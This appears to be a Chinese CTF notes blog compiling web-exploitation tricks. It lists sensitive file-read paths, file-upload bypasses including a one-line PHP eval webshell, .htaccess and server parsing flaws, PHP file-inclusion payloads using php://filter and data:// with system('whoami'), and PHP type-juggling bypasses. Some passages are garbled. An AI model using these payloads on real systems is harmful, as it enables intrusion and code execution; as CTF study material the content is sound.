一些CTF 做题的tricks,东拼西凑放到这里,方便查找
任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。
下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:
### 系统信息文件
/etc/hosts # 主机信息 /proc/version # 内核版本 /proc/mounts # 挂载的文件系统列表 /root/.bashrc # 环境变量信息 /proc/net/route # 路由表信息 /proc/net/arp # arp表,可以获得内网其他机器的地址 /root/.viminfo # vim 信息fuzz字典
/proc/self/cmdline /proc/self/stat /proc/self/status /proc/self/environ /proc/verison /proc/cmdline /proc/self/cwd /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/3 /proc/self/fd/4 /proc/self/fd/5 /proc/self/fd/6 /proc/self/fd/7 /proc/self/fd/8 /proc/self/fd/9 /proc/self/fd/10 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 /proc/self/fd/14 /proc/self/fd/15 /proc/self/fd/16 /proc/self/fd/17 /proc/self/fd/18 /proc/self/fd/19 /proc/self/fd/20 /proc/self/fd/21 /proc/self/fd/22 /proc/self/fd/23 /proc/self/fd/24 /proc/self/fd/25 /proc/self/fd/26 /proc/self/fd/27 /proc/self/fd/28 /proc/self/fd/29 /proc/self/fd/30 /proc/self/fd/31 /proc/self/fd/32 /proc/self/fd/33 /proc/self/fd/34 /proc/self/fd/35 /proc/sched_debug /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp /proc/net/fib_trie /proc/version平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。
Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。
常用Content-Type:
#图片文件 image/png image/jpeg image/gif #文本文件 text/plain text/xml text/html更多 -> HTTP Content-Type 对照表
在木马内容基础上再加一些文件信息,比如文件的文件头。
其中.gif文件的文件头可以全部用ascii字符表示:
GIF89a <?php eval($_POST[1]); ?>后缀大小写绕过(linux下可以尝试)
.pHp .aSp
不常用后缀绕多
通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。
.jsp .jspa .jspx .jspw .jspv .jspf .jtml # jsp文件 .asp .aspx .asa .asax .ascx .ashx .asmx .cer # asp文件 .php .php(1-*) .phtml .phpt .pht # php文件 .exe .exee # exe文件windows系统会自动去掉不符合规则符号后面的内容
以下文件名都会被解析为test.php
test.php. test.php(空格) test.php:1.jpg test.php::$DATA.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
<FilesMatch "cimer"> SetHandler application/x-httpd-php </FilesMatch>通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字符串的任意文件。
一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析.
/dirasp/1.jpg 因为文件名中有asp字样,所以该文件夹下的1.jpg文件打开时,会按照asp文件去解析执行另一个是只要文件名中含有.asp、.asa、.cer会优先按 asp 来解析
1.asp.jpgIIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串/任意文件名.php就会按照php的方式去解析;
(任意文件名)/(任意文件名).php目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
(任意文件名)/(任意文件名).php还有一种是对低版本的Nginx(<=0.8.37)可以在任意文件名后面添加 .php进行解析攻击。
(任意文件名) .php0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符,这时就可能会产生0x00截断漏洞。
绕过方式也很简单,用像test.php .jpg的方式进行截断,或打开bp的hex窗口,替换文件名部分对应的字符为00即可 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J538U9hS-1593606332387)(https://s2.ax1x.com/2019/04/13/ALRMx1.png)]
有时候上传图片到服务器后,服务器会将图片压缩成缩略图,php的GD库就是压缩图片的一个库,常用于生成缩略图,经过GD处理后的图片信息,如果包含利用代码,会被混淆的一塌糊涂,无法运行。
经php GD库渲染后的图片一般有如下特征字符串:
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80但是国外大神已经写出了绕过GD库渲染的WEBSHELL图片生成器,于是这个也可以轻松绕过了
可以去这位大神的网站下载工具:jpg_payload
该工具的具体使用方法:
#首先需要安装php的gd库 apt-get install php-gd #jpg_name.jpg是待GD处理的图片(需要先经过一次GD处理) php jpg_payload.php <jpg_name.jpg>生成好的图片,在经过如下代码处理后,依然能保留其中的shell:
<?php imagecreatefromjpeg('xxxx.jpg'); ?>PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
php文件包含漏洞通常由以下几个函数引发:
include() #包含并运行指定文件,失败产生警告,脚本会继续运行。 include_once() #若文件已经被包含过,则不会再次包含。 require() #包含并运行指定文件,失败将导致脚本中止。 require_once() #若文件已经被包含过,则不会再次包含。当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。
例如有如下代码:
<?php $file=$_GET['file']; include($file); ?>在当前目录有一个flag.txt
只需访问?file=flag.txt,由于flag.txt文件中无有效的php代码,所以可以直接获取文件内容
下面我们访问该目录下的另一个文件flag.php,其内容如下:
<?php echo "flag is here"; $flag="flag{2333}"; ?>访问页面可看到如下内容,可以看到,php代码已经被解析了
LFI(Local File Inclusion) 本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。
RFI(Remote File Inclusion) 远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。
php中开启远程文件包含利用需要在php.ini中配置如下:
allow_url_fopen = On #默认为On allow_url_include = On #php5.2之后就默认为Offlinux中这两个文件储存着所有文件的路径,需要root权限:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db更多参见–>传送门<–
关于文件包含漏洞,比较常用的还有php的php://伪协议,详细的介绍请戳官方文档
这里比较常用的是:
php://input php://filter利用条件:
allow_url_include = On修改配置文件:
即可如图所示利用:
可获取文件内容
?file=php://filter/read=convert.base64-encode/resource=flag.php ?file=php://filter/convert.base64-encode/resource=flag.php关于文件名:有时服务端可能会自动拼接后缀名,例如提交page=upload可能会被拼接为ipload.php,所以在获取失败时不妨去掉后缀名试试。
通过指定末尾的文件,可以读取经base64编码后的文件源码
可获取压缩包中文件内容
事先得知道压缩文件目录结构
?file=phar://flag.zip/flag.txt用法同上,但使用zip协议,需要指定绝对路径,同时将#编码为#,之后填上压缩包内的文件才会包含成功
?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip#flag.txt命令执行
?file=data:text/plain,<?php phpinfo();?> ?file=data:text/plain,<?php system('whoami');?> ?file=data:text/plain,<?php echo `whoami`;?>执行效果如下:
还可编码绕过:
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ #phpinfo(); ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== #system('whoami'); ?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg== #echo `whoami`;file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 phar:// — PHP 归档 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 ssh2:// - Secure Shell 2 rar:// - RAR ogg:// — 音频流 expect:// — 处理交互式的流
这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize()测试用例:
<?php echo file_get_contents($_GET['test']); ?>结果:
[phpStudy] path=E:\phpStudy\ wwwroot=E:\phpStudy\WWW yxms=0 phpver=phpa cdyc=1 dirlist=1 version=2014 URL=www.phpstudy.net nots=1 jsml=E:\phpStudy\WWW autojs=0结果:
<?php echo file_get_contents($_GET['test']); ?>php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流 php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。 php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取
传入:http://127.0.0.1/test.php?test=php://filter/read=convert.base64-encode/resource=./test.php结果:
PD9waHANCmVjaG8gZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ3Rlc3QnXSk7DQo/Pg== 这里用的是read=筛选列表,使用了convert.base64-encode这个过滤器,resource=要过滤的数据 注意:(read/write可用省略)任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链结果:
<?php echo file_get_contents($_GET['test']); ?>结果:
I love PHP变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击
经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等
有如下代码
<?php @error_reporting(1); $id=$_GET['id']; $flag=file_get_contents('flag'); echo $$id; ?>当我们输入url?id=flag时,即可获得flag文件里的内容,这里是因为当我们给id赋值为flag时$id='falg',flag变量里存储了flag文件里的内容,所以我们只要能获取到变量flag里的内容就可以得到flag了,当执行到echo $$id;时,注意到有两个 符 号 , P H P 从 右 开 始 解 析 变 量 , 所 以 ‘ ‘ ‘ 符号,PHP从右开始解析变量,所以``` 符号,PHP从右开始解析变量,所以‘‘‘id右边的 i d ‘ ‘ ‘ 解 析 为 ‘ ‘ ‘ f l a g ‘ ‘ ‘ 再 和 左 边 的 ‘ ‘ ‘ id```解析为```flag```再和左边的``` id‘‘‘解析为‘‘‘flag‘‘‘再和左边的‘‘‘符号组合成$flag```变量最后输出,即可拿到flag
首先介绍一下extract()函数的作用 extract() 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
以bugku中的一道题作为例子 extract变量覆盖
<?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>可以看到源码第三行使用了extract($_GET);来提取从$_GET方式获得的变量,并且在代码的第六行有if($shiyan==$content)的判断来决定是否输出flag,由于我们并不知道flag文件里的内容所以无法是判断成立,但是由于extract函数存在变量覆盖的问题,这里我们注意到代码中关键的一点是$flag变量是在extract()函数调用前赋的值,所以这里我们可以用extract()函数对flag变量进行覆盖,这题的payload为
http://123.206.87.240:9009/1.php?shiyan=&flag=
即可拿到flag
解释一下这里我们并未对shiyan这个变量赋值所以为NULL,同理我们给flag不赋值,或者随便赋值(即一个不存在的文件名),让file_get_contents()这个函数获取flag文件里的内容时找不到文件即为NULL,所以if($shiyan==$content)两个变量都为NULL,条件成立输出flag
parse_str() 函数把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量.
代码示例
<?php parse_str("a=1"); echo $a."<br/>"; //$a=1 parse_str("b=1&c=2",$myArray); print_r($myArray); //Array ( [c] => 1 [b] => 2 ) ?>parse_str()类似的函数还有mb_parse_str(),用法基本一致。
import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中.
示例代码
<?php import_request_variables("g", "get_"); echo $get_id; ?> //提交:?id=111 //结构:111此篇主要是做笔记,记录PHP中的变量覆盖问题,不论是CTF还是实际场景中都可能遇到,所以放在这里,方便以后查看 文中部分内容来自 https://www.cnblogs.com/xiaozi/p/7768580.html 需要安装扩展
声明:以下部分内容或者代码来自互联网,搬到这里是做一下笔记,部分内容来自https://blog.csdn.net/qq_31481187/article/details/60968595
strcmp ( string $str1 , string $str2 ) : int
str1第一个字符串 str2第二个字符串。 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0
示例
<?php error_reporting(); $id=$_GET['id']; if(strcmp('ssss',$id)==0){ //YES } else{ //NO } ?>当输入id[]=时,if(strcmp('ssss',$id))条件成立,就会输出YES
bugku例题
<?php if(eregi("hackerDJ",$_GET[id])) { echo(" not allowed! "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo " Access granted! "; echo " flag "; } ?>eregi — 不区分大小写的正则表达式匹配,本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。
%的url编码为%,而字符a的url编码为a,所以构造?id=h%61ckerDJ,第一次URL解码为hackerDJ,所以在第一个if语句绕过匹配,下面再次调用urldecode()函数,解码为hackerDJ,条件成立输出flag
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有
md5() md5(QNKCDZO) 0e830400451993494058024219903391 md5(s878926199a) 0e545993274517709034328855841020 md5(s155964671a) 0e342768416822451524974117254469 md5(s214587387a) 0e848240448830537924465865611904 md5(s214587387a) 0e848240448830537924465865611904 sha1() sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')同时md5()和sha1()不能处理数组,若有以下判断则可用数组绕过
if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } if(@sha1($_GET['a']) == @md5($_GET['b'])) { echo "yes"; }正则表达式匹配以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1]包含第一个左圆括号开始的子串,$regs[2]包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。
如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以这里可以使用 截断正则匹配,如如果输入123 |||
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。如
<?php foreach ($_GET AS $key => $value) { print $key."\n"; } ?>获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
Note: **如果 base 是 0,通过检测 var 的格式来决定使用的进制: **
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。举一个西电的ctf题
<?php error_reporting(0); require 'flag.php'; $value = $_GET['value']; $password = $_GET['password']; $username = ''; for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } } highlight_file(__FILE__); chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可 intval()在处理16进制时存在问题,经过测试在intval('0x123',16)转换正常,而intval('0x123')时会出错返回0,通过上面的函数介绍,可知在指定base为0的时候,才会处理'0x123'此类字符串作为16进制转换,否则按十进制转换;而在强制转换时,即intval($password + 1)时,里面的password+1时,已经做了转换,所以再用intval()函数时就不会出错如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:
<?php $i ="2ssss"; switch ($i) { case 0: case 1: case 2: echo "YES"; break; } ?>则会输出YES,这里是由于switch()对参数进行了类型转换
可以看到上面的情况返回的都是true,因为’abc’会转换为0,'1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换
unset($var);用来销毁指定的变量,如果变量var 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过
<?php // http://127.0.0.1/index.php?_CONFIG=123 $_CONFIG['extraSecure'] = true; foreach(array('_GET','_POST') as $method) { foreach($$method as $key=>$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } } if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; } ?>PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字
<?php echo is_numeric(233333); # 1 echo is_numeric('233333'); # 1 echo is_numeric(0x233333); # 1 echo is_numeric('0x233333'); # 1 echo is_numeric('233333abc'); # 0 ?>如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
<?php $ip = '1.1.1.1 abcd'; // 可以绕过 if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { echo('key...'); } ?>